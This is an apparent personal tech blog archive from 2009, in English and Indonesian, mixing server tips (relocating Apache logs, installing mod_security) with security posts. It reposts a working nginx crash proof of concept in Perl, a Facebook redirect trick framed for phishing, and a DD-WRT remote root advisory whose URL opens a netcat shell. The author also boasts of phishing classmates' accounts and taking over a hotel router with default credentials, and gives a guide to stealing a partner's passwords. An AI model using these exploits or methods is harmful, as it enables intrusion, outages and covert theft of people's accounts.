Sometimes your logs are just too big and fill up too fast for the current partition they are on. A simple solution to this is to move them to a different partition. For example, let’s say your /usr partition is over � and every time you delete your logs, within a few hours it is back at � again. The solution is simple and we will discuss how to do this.

First thing you need to do is to move your logs. We recommend you shut down the service that uses this log along with the chkservd daemon which checks your services. In this example you would want to shutdown chkservd followed by Apache:

/etc/rc.d/init.d/chkservd stop

/etc/rc.d/init.d/httpd stop

Then you would move the two directories to a different partition. Most people use their /home partition, but if you have a backup drive in your server you may want to use it. I prefer to use my backup drive (for logs, since I don't consider my logs to be critical data) as this takes some of the work off the main drive, so I would create a directory on my backup drive:

mkdir /backup/usr/

Then I would move the directories over:

mv /usr/local/apache/domlogs /backup/usr/

mv /usr/local/apache/logs /backup/usr/

That will move the two major log directories from your /usr partition to your /backup partition. The last thing you need to do is create the symbolic links in the ‘old’ locations so that Apache can find where you have moved these logs.

cd /usr/local/apache/

ln –s /backup/usr/domlogs/ domlogs

ln –s /backup/usr/logs/ logs

This will create the links in the ‘old’ location to point to the ‘new’ location. The last thing to do is restart Apache and chkservd:

/etc/rc.d/init.d/httpd start

/etc/rc.d/init.d/chkservd start

And that’s it! Your logs are now stored on your backup partition and will never hassle your /usr partition again.
4 Conclusion

Monitoring your logs is all part of owning a dedicated server and is essential to keeping your server running smoothly. If you are familiar with crontab and how to use it then I’m sure you can see how easy it would be to automate log maintenance.

We recommend that you verify your logs daily to avoid any unusual events such as a partitions filling up. It’s also important to understand your logs and the wealth of information they can offer you. Chances are the answer to your questions when troubleshooting a problem can be found in your logs.

source : http://www.servermanual.com/Articles/175.html

ClarkConnect 5

2009-12-24T20:18:00.002+07:00

this my clarkconnect , i give screen shoot to you , im not blame with mikrotik anymore cause i use too in my office :) , but this is free ( community edition )

Work = Net , live and Music ......

Centos 5.4

2009-10-28T10:30:00.001+07:00

The CentOS team is pleased to announce the availability of CentOS 5.4. Major changes in CentOS 5 compared to CentOS 4 include:

These updated software versions: Apache-2.2, php-5.1.6, kernel-2.6.18, Gnome-2.16, KDE-3.5, OpenOffice.org-2.3, Evolution-2.12, Firefox-3.0, Thunderbird-2.0, MySQL-5.0, PostgreSQL-8.

Better desktop support with compiz and AIGLX.

Virtualization provided by the Xen hypervisor with Virtual Machine Manager and libvirt.

Major changes compared to earlier CentOS 5 versions include:

KVM as a preview for the new virtualization technology in Enterprise Linux.

ext4 as a technology preview in file systems.

Source : www.centos.org

download from local ix ( Indonesia )

http://mirror.unej.ac.id/centos/5.4/isos/i386/

Sql injection and mod security - black and white

2009-10-26T16:09:00.004+07:00

this noon , we read mail from someone and he claim he find sql injection in our site , how it can be ... , magic quota still off and mod_security not yet installed

see this article

from : http://www.cyberciti.biz/faq/rhel-fedora-centos-httpd-mod_security-configuration/

Red Hat / CentOS Install mod_security Apache Intrusion Detection And Prevention Engine

by Vivek Gite

How do I install ModSecurity - an open source intrusion detection and prevention engine for web applications under CentOS / RHEL / Red Hat Enterprise Linux 5.x server?

ModSecurity operates embedded into the web server (httpd), acting as a powerful umbrella - shielding web applications from attacks. In order to use mod_security, you need to turn on EPEL repo under CentOS / RHEL Linux. Once repo is turned on, type the following command to install ModSecurity:
# yum install mod_security
Sample output:

Loaded plugins: downloadonly, fastestmirror, priorities, protectbase
Loading mirror speeds from cached hostfile
* epel: www.gtlib.gatech.edu
* base: mirror.skiplink.com
* updates: centos.aol.com
* addons: mirror.cs.vt.edu
* extras: mirror.trouble-free.net
0 packages excluded due to repository protections
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
---> Package mod_security.x86_64 0:2.5.9-1.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

Package Arch Version Repository Size

Installing:
mod_security x86_64 2.5.9-1.el5 epel 935 k

Transaction Summary

Install 1 Package(s)
Update 0 Package(s)
Remove 0 Package(s)

Total download size: 935 k
Is this ok [y/N]: y
Downloading Packages:
mod_security-2.5.9-1.el5.x86_64.rpm | 935 kB 00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing : mod_security [1/1]

Installed: mod_security.x86_64 0:2.5.9-1.el5
Complete!

mod_security configuration files

1. /etc/httpd/conf.d/mod_security.conf - main configuration file for the mod_security Apache module.
2. /etc/httpd/modsecurity.d/ - all other configuration files for the mod_security Apache.
3. /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf - Configuration contained in this file should be customized for your specific requirements before deployment.
4. /var/log/httpd/modsec_debug.log - Use debug messages for debugging mod_security rules and other problems.
5. /var/log/httpd/modsec_audit.log - All requests that trigger a ModSecurity events (as detected) or a serer error are logged ("RelevantOnly") are logged into this file.

Open /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf file, enter:
# vi /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf
Make sure SecRuleEngine set to "On" to protect webserver for the attacks:

SecRuleEngine On

Turn on other required options and policies as per your requirements. Finally, restart httpd:
# service httpd restart
Make sure everything is working:
# tail -f /var/log/httpd/error_log

see your file in

/var/log/httpd/

modsec_debug.log
modsec_audit.log

Congratulation : Global Conference on Open Source (GCOS)

Redirect and Phising Facebook

2009-10-25T03:47:00.002+07:00

This night very smooth just open my eyes and read the security around the world, facebook is the biggest social community and there are people can make the application like games , quiz and etc.

Can we Phising that ?... of course ...

have u read this

http://www.packetstormsecurity.com/0910-exploits/facebook-redir.txt

_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________

# [+] Facebook Redirection
#
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] How use ?
#
# http://apps.facebook.com/quizzname/?next=[Redirection]
#
# [+] PoC :
#
# http://apps.facebook.com/quelendroitltwgzmv/?next=http://www.google.com
#
#[------------------------------------------------------------------------------------]

"Redirect Method" can make the trap , be carefull with your account facebook

check your nginx

2009-10-25T03:32:00.002+07:00

http://www.packetstormsecurity.com/0910-exploits/nginx-dos.txt

debian:~# uname -a Linux debian 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC
2009 i686 GNU/Linux
debian:~# cat /etc/issue
Debian GNU/Linux 4.0 \n \l

debian:~# dpkg -l|grep nginx
ii nginx 0.4.13-2+etch2 small, but very powerful and efficient
debian:~# ps xauwww|grep worker|grep -v grep
www-data 3577 0.0 0.9 2688 928 ? S 01:50 0:00 nginx: worker process
debian:~# gdb -p 3577
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
Attaching to process 3577
Reading symbols from /usr/sbin/nginx...(no debugging symbols found)...done.
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1
Reading symbols from /usr/lib/libpcre.so.3...(no debugging symbols
found)...done.
Loaded symbols for /usr/lib/libpcre.so.3
Reading symbols from /usr/lib/libz.so.1...(no debugging symbols
found)...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/tls/i686/cmov/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols
found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_compat.so.2
Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols
found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1
Reading symbols from /lib/tls/i686/cmov/libnss_nis.so.2...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_nis.so.2
Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...(no debugging
symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2
Failed to read a valid object file image from memory.
0xb7f06410 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08068f23 in ?? ()
(gdb) bt
#0 0x08068f23 in ?? ()
#1 0x080b0540 in ?? ()
#2 0x080a54e4 in ?? ()
#3 0x00000000 in ?? ()
(gdb) i r
eax 0x6d4 1748
ecx 0xbff21028 -1074655192
edx 0x80b1794 134944660
ebx 0x80b0540 134939968
esp 0xbff21880 0xbff21880
ebp 0xbff218d8 0xbff218d8
esi 0x80b5630 134960688
edi 0x80b0540 134939968
eip 0x8068f23 0x8068f23 <__gmon_start__@plt+126827>
eflags 0x10206 [ PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) q
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: /usr/sbin/nginx, process 3577
debian:~#

in nginx error log we can see :
2009/10/15 01:53:24 [alert] 2477#0: worker process 3577 exited on signal 11

===============================

here is same test on nginx compiled with debug :

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
793 header.data[header.len++] = '.';
(gdb) bt
#0 ngx_http_process_request_headers (rev=0x80c95d8) at
src/http/ngx_http_request.c:793
#1 0x08069c63 in ngx_http_process_request_line (rev=0x80c95d8) at
src/http/ngx_http_request.c:702
#2 0x080668ff in ngx_http_init_request (rev=0x80c95d8) at
src/http/ngx_http_request.c:446
#3 0x0805f67e in ngx_epoll_process_events (cycle=0x80a59e8, timer=60000,
flags=)
at src/event/modules/ngx_epoll_module.c:518
#4 0x08056712 in ngx_process_events_and_timers (cycle=0x80a59e8) at
src/event/ngx_event.c:245
#5 0x0805cebd in ngx_worker_process_cycle (cycle=0x80a59e8, data=0x0) at
src/os/unix/ngx_process_cycle.c:728
#6 0x0805b9b1 in ngx_spawn_process (cycle=0x80a59e8, proc=0x805c8a2
, data=0x0,
name=0x808e46b "worker process", respawn=-2) at
src/os/unix/ngx_process.c:187
#7 0x0805c470 in ngx_start_worker_processes (cycle=0x80a59e8, n=1, type=-2)
at src/os/unix/ngx_process_cycle.c:327
#8 0x0805d442 in ngx_master_process_cycle (cycle=0x80a59e8) at
src/os/unix/ngx_process_cycle.c:119
#9 0x0804ae5b in main (argc=1, argv=0xbfd72ac4) at src/core/nginx.c:332
(gdb) i r $eip
eip 0x8068e52 0x8068e52
(gdb)

===============================

tested on versions 0.7.0 <= 0.7.61, 0.6.0 <= 0.6.38, 0.5.0 <= 0.5.37, 0.4.0
<= 0.4.14

================================
here is POC:

#!/usr/bin/perl
use IO::Socket;
if ($#ARGV != 0) {
print "Usage: ./nginx.pl \n";
exit;}
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');
$mysize = 4079;
$mymsg = "o" x $mysize;
print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";

while(<$sock>) {
print;
}

I try to check nginx version see this

[root@vx066-findtoyou-cen ~]# rpm -qa | grep nginx
nginx-0.6.39-1.el5
[root@vx066-findtoyou-cen ~]# vi nginx.pl
[root@vx066-findtoyou-cen ~]# vi nginx.pl
[root@vx066-findtoyou-cen ~]# perl nginx.pl 127.0.0.1
HTTP/1.1 400 Bad Request
Server: nginx/0.6.39
Date: Sat, 24 Oct 2009 20:29:33 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

[root@vx066-findtoyou-cen ~]# ./nginx.pl 127.0.0.1
bash: ./nginx.pl: Permission denied
[root@vx066-findtoyou-cen ~]# chmod +x nginx.pl
[root@vx066-findtoyou-cen ~]# ./nginx.pl 127.0.0.1
HTTP/1.1 400 Bad Request
Server: nginx/0.6.39
Date: Sat, 24 Oct 2009 20:30:06 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

and please check your nginx now :) .........

Hacking Sms Centre

2009-09-05T17:35:00.004+07:00

this story is begun when i have the nokia phone 3330 series , join forum community and get infomation about seeking sms centre in this country , when in 2003 indonesia have three operator selular like telkomsel , indosat and proxl , and i have three collection with that , hmm maybe 10 sim card i'd have in my stuff

about 5 hour per day im start with seeking sms centre with my old nokia phones.

binggo my seeker find the one sms centre :... Indosat : +62855000904-906 ( im3 ) the enigma ive got charge Rp -5.000.000 ( im3 ) LOL hahahahahaha

but now is closed and not free again ...

download : http://smsclist.com/downloads/

there is thousand smscentre in this world , be patient for seeking. im just share this for educational only , now in this year send message with sms i think very cheap and is your choice ...

greets to : fulvian , crushbonez for share this software

Lack connection

2009-08-13T14:35:00.005+07:00

about 1 day ago , internet in this office like a snail , what is goin happen. i try to remote 10 server but same problem , hmmm maybe earthquake again and its true

Disaster

read this :

Asian undersea cable disruption slows Internet access

By Sumner Lemon
IDG News Service (Singapore Bureau)
August 13, 2009

SINGAPORE - A segment of the Asia-Pacific Cable Network 2 (APCN2) undersea cable network between China and Taiwan suffered a serious cable fault on Wednesday, causing Internet traffic to be rerouted onto other undersea cables and slowing Internet access for some users in Southeast Asia.

At about 10:50 a.m. on Wednesday, local time, an alarm signaled a cable fault on Segment 7 of APCN2, which connects Hong Kong and Shantou, China. The disruption caused a temporary loss of service on the undersea link but all customers that use the cable were soon shifted to capacity on other cables, according to a source familiar with the situation.

The APCN2 cable is owned by a consortium of 26 telecom operators from 14 different countries. The cable links Singapore, Malaysia, the Philippines, Hong Kong, Taiwan, China, South Korea and Japan.

The exact cause of the APCN2 fault was not immediately known. The alarm indicated the disruption was caused by a “single point of failure,” which suggests a variety of possibilities, including a technical failure or a cable cut, the source said. One cause can apparently be ruled out: Taiwan’s Central Weather Bureau did not record signs of seismic activity around the time that the alarm was received.

The incident was likely the main reason that Internet access appeared slower for some users in Singapore on Wednesday, the source said.

Undersea cables are used to transport much of the world’s Internet traffic and can be easily damaged by natural disasters or other causes. In 2006, a powerful earthquake off the southern coast of Taiwan damaged several cables and slowed Internet access to a crawl for users in Southeast Asia.

Singapore Telecommunications (SingTel), which is an investor in APCN2, said its users may experience slower Internet access than normal to some U.S. Web sites, blaming the APCN2 fault on damage caused by Typhoon Morakot.

“The [APCN2] consortium members have started restoration works, and our engineers are in the process of diverting Internet traffic to other cable systems. We expect the situation to return to acceptable levels within the next 24 hours,” SingTel spokesman Chia Boon Chong, said in an e-mail statement.

A spokesman for Starhub, another Singapore ISP that holds a stake in the cable, did not return a phone call seeking comment.

The fault that hit APCN2 on Wednesday follows two other service disruptions that recently hit the network. One disruption affected APCN2 Segment 7, between Hong Kong and Taiwan, and the other affected APCN2 Segment 1, which connects Singapore and Malaysia. However, both of these disruptions were deemed to be “relatively minor” compared to the disruption that took place Wednesday morning, the source said.

The cause of the two earlier faults on APCN2 was not immediately clear.

APCN2 isn’t the only Asian undersea cable currently suffering from a service disruption.

“The Cable & Wireless Real Time Operations Team have logged multiple cable breaks on APCN2, APCN, EAC and SMW3 in Asia Pacific — specifically, near Taiwan. Network traffic flow has been adversely affected in and out of the region as a result,” said Gavin Tait, director of Asia network planning and implementation at Cable & Wireless, in an e-mail statement provided by the company.

None of Cable & Wireless’ customers were affected by these failures, he said.

Efforts are currently underway to repair the East Asia Crossing (EAC) undersea cable after it experienced “double faults” off the coast of Taiwan last weekend, according to Roland Lim, a spokesman for Pacnet, which owns EAC.

The first sign of damage to the EAC cable off the coast of Taiwan came on Aug. 9 at 1:37 a.m., local time, when an alarm signalled that service on EAC Segment D, which links Taiwan and Hong Kong, had been disrupted, Pacnet said in an Aug. 10 Network Event Notification that was obtained by IDG News Service. At the time, traffic on Segment D was transferred to EAC Segment C. However, Segment C suffered a second disruption roughly twelve hours later.

The cause of the faults that hit the EAC cable between Hong Kong and Taiwan is not yet known, but the damage happened at about the same time the southern part of the island and China’s southern coast was being pummeled by one of the most powerful typhoons to strike in recent memory. There were no earthquakes recorded by Taiwan’s Central Weather Bureau at the time when the disruptions took place.

original link
http://computerworld.com.ph/tag/apcn-2/

By Dan Nystedt
IDG News Service (Taipei Bureau)
August 13, 2009

TAIPEI - Deep sea landslides caused by Typhoon Morakot severed at least three undersea fiber-optic telecommunications cables and disrupted three others, causing Internet service disruptions in parts of Asia.

The SWM-3 (Southeast Asia - Middle East - Western Europe 3) cable that connects to Taiwan near the east coast city of Taitung was first hit by undersea landslides on August 9 as Typhoon Morakot approached the island, according to a statement from Chunghwa Telecom, Taiwan’s largest telecommunications provider.

On Wednesday, further undersea landslides caused by Morakot severed two more undersea fiber optic cables, APCN (Asia Pacific Cable Network) and APCN2, the company said.

The cable breaks disrupted Internet and telecommunications connectivity to China and parts of Southeast Asia, including Singapore, the Philippines and Hong Kong, but Chunghwa was able to restore service quickly by using backup systems and rerouting traffic to other cables.

The three other cables disrupted by undersea landslides were the C2C Cable Network East Asia Crossing (EAC), C2C Cable Network (C2C) and FLAG (Fiber Optic Link Around The Globe) North Asia Loop (FNAL).

Chunghwa said it has already sent workers to assess damage and begin repairs on the undersea cables. The company was unable to immediately say when the cables might be mended. To keep Internet and telecommunications flowing in the region, Chunghwa has been in contact with other telecommunications service providers and rerouted traffic on unaffected cables.

The company warned that unaffected cables carrying additional Internet and telecommunications traffic may not be able to handle all normal traffic flow, thereby causing slow service at some times.

Undersea fiber optic cables carry the bulk of the world’s Internet and communications traffic. Natural disasters such as earthquakes and deep sea landslides can disrupt the cables.

Typhoon Morakot killed 103 people in Taiwan, according to government figures, and officials expect the toll to continue to rise. The military and police were on Wednesday able to save 700 people stranded in mountain villages near the southern city of Kaohsiung after landslides and mud flows engulfed entire towns, including Cishan Township. Thousands remain stranded in disaster areas and rescue work continues.

Taiwan’s Council of Agriculture estimates the typhoon destroyed NT$9.01 billion (US$273.9 million) of crops and other goods.

http://computerworld.com.ph/typhoon-morakot-severs-three-undersea-internet-cables/

inspiration will not end its just beginning ...

2009-08-06T18:24:00.006+07:00

Now 6.30 PM , im still in the front of computer , preparing monthly report and spent little time with listen this music, its make me relax for a while , running with remote 18 shell box , is she superstar ? im say yes ... remembering .....

Aphrodite ...

Have u try gOS ??

2009-08-04T15:49:00.005+07:00

Improving the Linux user experience...

Since our debut in 2007, gOS has been praised for being the most beautiful and easiest to use Linux operating system on the market. Now with our third and best version of gOS, we have carried on our effort to create a Linux for the rest of us.

..with Google Gadgets

Turn on your computer to a desktop full of your favorite widgets, fresh with live, personalized content just for you. We want to personally thank the Google Gadgets for Linux team for their efforts.

Read this :

http://www.thinkgos.com/gos/download.html

last release : gOS 3.1 Gadgets (SP1)

have u try gOS ??

Search Wiki From Shell Box

2009-08-04T15:34:00.002+07:00

if you have a shell box ( unix ) you can search wiki , the simple command like this

dig +short txt .wp.dg.cx

as example :

dig +short txt indonesia.wp.dg.cx

source :

http://lifehacker.com/5329014/search-wikipedia-from-the-command-line

just spend a little time

2009-08-04T14:16:00.004+07:00

This song i heard when in 1993 and it taken from The Album Format Masa Depan - Dewa 19 , ill remember this story , im just spend a little time for sharing my story ...

Ten Story love Song - Indonesian Love Song .......

Simple Trick to disconnect Yahoo Messenger

2009-08-03T11:09:00.004+07:00

I have simple trick , how make your friend disconnect in your list , first of all

You can broadcast message like this :

Secret of Yahoo messenger 9

in your “type some contact information” you can input this :

http://us.lrd.yahoo.com/_ylc=X3oDMTIxN3RkOTNuBF9TAzM5ODMwMDk2NwRwb3MDMgRzZWMDbndfdG9wc3RvcmllcwRzbGsDdGl0bGUEdGFyA25ld3MueWFob28uY29t

and press enter , you will find the big secret of Yahoo messenger 9 .

hope you enjoy it ...

==============================================================

i think yahoo messenger have bug ...

http://us.lrd.yahoo.com/_ylc=X3oDMTIxN3RkOTNuBF9TAzM5ODMwMDk2NwRwb3MDMgRzZWMDbndfdG9wc3RvcmllcwRzbGsDdGl0bGUEdGFyA25ld3MueWFob28uY29t

if you browsing in this site , is the page cannot be found and its not worm :) , LOL

Hack Affiliate Program

2009-08-03T10:01:00.004+07:00

This goin happen , 4 Years ago ... , when i'm still student in university , as student is really really happy when i've new phone , yeah ... new phone product from nokia 3330, but how the voucher ? what kind i do for buy ? its very expensive , in this era telecomunications have a monopoly , one operator who have a power its can be join the market.

ok this point ill give you story. In 2005 voucher affiliate program is popular , im search google with key : topup.com ( as the example ) , there a are many people who promotion this affiliate , wow great i got this idea ....

second method : social engineering , i have one site and owned by me with id=root ,
just copy topup.com i made same face with it hehehe , LOL , send the victim to browsing my shit site ...

username : blablabla
password : bla bla bla

and finally , got 100 account hehehehe LOL ( i try this method in class millist and its work LOL and i can read they inbox ) sorry dude

ok back to the topic again ...

next step .. i'm login into topup.com site and i can top up my voucher and i can call everyone and its freeee ... ( balance = rp 300.000 )... hehehehe

This is for educational only ... i'm just share experince for everyone ...

Good man in the good place

2009-07-31T19:55:00.006+07:00

Hup hup horay , i got again my small bag include laptop charger and hp charger , i think lost for a while. My stuff lost when i'm going to train station with the taxi . I realize when I at the train station. i try didnt panic. Just thinking for a while ...

ill remember in my small bag have a guest bill complete with my address. in the friday night when im going to home i got package and i see his name.

i call him and say thanks for give back my stuff. i know he is good man ...

Special Big Thanks to : Mr Arifin ( Taxi driver ) for give back my stuff.

if u wanna get Taxi Driver in Semarang City - Indonesia , you can contact him : 6285225336158

www.findtoyou.com

2009-07-31T16:48:00.007+07:00

www.findtoyou.com , this site owned by k1n9k0ng , beside have this one , he made finderonly ,what is the point you can get from this site ?

you can find rapidshare link, find megaupload , find pdf file , with crawler method

and you know who is he ?

he is top blogger in indonesia country, read this.

screen shot :

wanna try ?

Backtrack ...

2009-07-29T09:46:00.005+07:00

One of the Backtrack linux distro is derived from a slackware which is the merger of whax collection and security auditors. Backtrack two released on 6 March 2007 which include more than 300 security tools while the beta 3 version of backtrack released on 14 December 2007 on the third release is more focused on hardware support. While the version of backtrack 3 was released on 19 June 2008 on the backtrack version 3 include this saint and maltego while nessus not included and still use the kernel version 2.6.21.5.

Official site links:

http://www.remote-exploit.org/backtrack.html

For Indonesian version can be read at the link below, coincidence I have ever following article article:

http://indobacktrack.or.id/

Greats to: Indobacktrack Team

If trouble downloading backtrack live CD can be download in here

http://repo.opensource.telkomspeedy.com/backtrack/

Happy learning .... smile

Source:
http://id.wikipedia.org/wiki/BackTrack

Last edited by thesims (24-07-2009 15:17:35)

Invisible ???

2009-07-29T09:31:00.004+07:00

Are you hate if someone usually invisible in contact list , this is the solution , we make this in opensource server. hope you enjoy :

http://opensource.telkomspeedy.com/ym/

greets to : http://opensource.telkomspeedy.com

Hore ... aku punya Hostpot di Santika Hotel

2009-07-26T19:32:00.010+07:00

Duhai tepat jam 9 lebih 32 menit buka laptop dulu sudah lama sepertinya aku meninggalkan internet yang tercinta ini ( lebay mode on hehehehe ) iseng scan .. dapet deh hotspot , lumayan deh tuh gratisan cepet juga euuy , nah pas jam 11 mulai deh orang berduyun duyun makan , suara piring dll kedengeran banget disini. Tiba-tiba gw nerima telpon "Bal ada gangguan nih server" , wah gw cepet-cepet remote donk ke shell box ... ya ampun kok lambat banget aksesnya ya ... harus benerin nih ... , terpaksa gw keluar buat survey , celingak celinguk , ternyata sob banyak sekali pakai laptop , wah gimana cara nih gw bisa remote , akhirnya gw ke kamar lagi deh semedi dan ritual ala kadarnya

gw coba browsing ke www.showmyip.com

ip nya 125.x.x.x ( kek nya gw kenal nih ip ) dan gw yakin passwordnya ntuh

default :

user : admin
password : admin

lalu gw ketik di cmd ( maklum ubuntu lagi kernel panic , ala kadarnya aja deh pake vista ini juga terpaksa :) )

C:\Users\iqbal>ipconfig

Wireless LAN adapter Wireless Network Connection:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::30e2:cefa:6c53:6ca3%14
IPv4 Address. . . . . . . . . . . : 192.168.1.5
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1

nah tuh gateway keluar kan

buka deh

http://192.168.1.1

masukin deh user name dan password diatas ...

nih screen syuutnya

akhir nya gw cut koneksi wireless client semua nya dulu , biar gw bisa remote box , terpaksa deh korbanin puluhan orang aja dibanding puluhan ribu :)

nah gak sampai situ juga , gw ganti aja nih password default nya daripada di take over , trus gw lagi butuh dan gak bisa connect tuh internet .

dah 10 menit gangguannya udah solve deh :) trus bukain lagi deh tuh .. kesian juga nih yang mau pake .... , cuma yang traffic nya gede paling gw cut off , lah kan gw pake juga ... yang penting gw gak buat wep 128 bit deh , kalo kata afgan - sadis

nah , kalo yang mau password ke http://192.168.1.1 nya trus lagi nginep di santika - semarang message me ajah ...

ini kok hotel kek punya gw ndiri ya hari ini ... ya mo gimana lagi ...

hack into inbox ...

2009-07-26T18:32:00.004+07:00

Disini tidak mengajarkan suatu kejahatan , memang seram terdengar kata-kata "hack" , tapi sedikit lebih lumrah , semuanya berawal dari social engineering walau masih mystery tentang doi tapi saya bisa menerobos sebuah email , yah bisa juga inbox facebook biasa dijadikan sebuah social engineering ( isi inbox nya , selingkuhan , saingan atau doi udah punya hehehehe , semuanya terungkap ... ) misal nih elo pengen gebet tuh cewe , nah nih cewe suka facebookan , biasanya tuh seseorang males banget ketik password jadi ntuh password disimpen kan tu di mozilla

kalo elo punya laptop

1. tangan lo harus cepet simpen password facebook , lo pancing deh tuh buka facebook di mozilla , cepet2x deh tangan lo save hehehe , email juga begitu ... ( remmber password mozilla )

cara liatnya

tools - options - security - save password , show password

2. siapin senjata elo pake keylogger , banyak deh yang ampuh , ajakin doi buka fb , trus lo pura-pura beli rokok , keluar atau ke WC

kalo laptopnya punya doi

1. lo install mozilla dulu kalo gak ada tuh doi suruh download atau elo download
, nah disini intinya ajakin doi login facebook atau email , inget man !!! lo bilang deh pake rayuan : "rembember password di klik aja biar kamu inget say" atau apalah gaya ucapan elo sendiri juga boleh ,Nah ajakin terus main depan komputer , lo tahan deh tuh mata sampe dia bete ( masa' sih doi betah depan komputer , disini ketahanan elo harus kuat ... latihan lah didepan komputer tapi santai , pasti donk doi kemana gitu , buru-buru deh lo masuk klik di mozilla

tools - options - security - save password , show password ( hapalin cepet )

dah dapet kan login dan passnya sekarang lo bisa baca deh ...

maaf disini saya bukan mengajak seorang untuk menjadi posesif

seperti blognya bro bung ian

http://kei-kai.blogspot.com/2008/10/ternyata-pacar-posesif-itu-nyata.html

Kata Sesepuh Baca Google .......

2009-07-23T15:19:00.006+07:00

Sudah keseribu kesekian kali saya bilang ke temen saya , cari di google , apa sih susahnya mencari di google , padahal mudah sekali tinggal "buka google disana ilmu numplek plek sampe meriang meriang deh tuh :D kalo belajar disana " itu kata sesepuh saya , ilmu kanuragan sakti mandera guna yang
itemnya : mulai dari ilmu lo cari target kecil-kecilan sampe target yang segede gaban , nyepam2x , intip sana sini , dapetin ribuan email yang isinya cuma botnet doank , masuk ke wifi tetangga , deauth sana sini , wardriving di area hotspot , buka backtrack nemuin hole , cari local exploit , target root pasang backdoor dan kalo kalo
putihnya elo bisa dapetin : install network , routing squid , pake nginx , oprek router cisco , ngetrace mana yang titiknya putus , bgp , ospf , router RIP , java , josso , jboss , buat vhost , dns server , mail server pake zimbra banyak , nah skarang tinggal pilih lo mau jadi apaan , kalo untuk pengalaman bolehlah belajar semua , pake untuk kebaikan , susah menciptakannya ... sekarang tinggal gimana kreatif nya masing-masing dan seberapa waktu yang elo luangkan untuk itu semua :) minimal ya 12 jam depan komputer + internet cukup lah ...

DD-WRT (httpd service) Remote Command Execution Vulnerability

2009-07-22T16:47:00.002+07:00

This is a remote root vulnerability in DD-WRT's httpd server. The bug exists
at the latest 24 sp1 version of the firmware.

The problem is due to many bugs and bad software design decisions. Here is
part of httpd.c:

859 if (containsstring(file, "cgi-bin")) {
860
861 auth_fail = 0;
862 if (!do_auth
863 (conn_fp, auth_userid, auth_passwd, auth_realm,
864 authorization, auth_check))
865 auth_fail = 1;

......... (snip)............

899
900 }
901 exec = fopen("/tmp/exec.tmp", "wb");
902 fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 if (query)
904 fprintf(exec, "/bin/sh %s/%s905 server_dir != NULL ?
server_dir : "/www",file);
906 else
907 fprintf(exec, "/%s/%s\n",
908 server_dir != NULL ? server_dir : "/www",
file);
909 fclose(exec);
910
911 if (query) {
912 exec = fopen("/tmp/exec.query", "wb");
913 fprintf(exec, "%s\n", query);

........................
Two issues there:
1) No metacharacters handling
2) Command gets executed even without successful authentication.
You are not going to see any output if not authenticated though.
.......................

914 free(query);
915 fclose(exec);
916 }
917
918 system2("chmod 700 /tmp/exec.tmp");
919 system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926 if (auth_fail == 1) {
927 send_authenticate(auth_realm);
928 auth_fail = 0;

------------

3) issue 3: httpd runs as root :)

Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can
connect to the management web interface can get easily root on the device via
his browser with an URL like:

http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh

Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the
problem:

Fortunately, httpd by default does not listen on the outbound interface.
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt
device's owner does not even need to have an authenticated session on the web
UI which is bad, bad). However, a base authentication dialog will appear. In
